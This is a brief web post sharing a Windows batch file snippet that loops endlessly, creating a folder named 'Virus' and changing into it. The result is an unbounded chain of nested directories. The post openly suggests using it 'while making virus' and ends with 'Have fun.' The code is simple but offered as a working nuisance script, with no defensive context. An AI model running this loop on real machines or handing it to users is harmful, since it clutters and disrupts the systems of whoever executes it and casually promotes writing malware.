Folder Replication Batch file code snipppet

So here is the code that will create folder in a folder and so on. This batch file code will create folder in a folder and keep doing that continuously. U can also use this code while making virus.
Just type the code below in a notepad and save it with any name but the extension must be .bat
eg. crypto.bat
Code is as below :

:loop
md Virus
cd Virus
goto loop


Have fun.

Source : Internet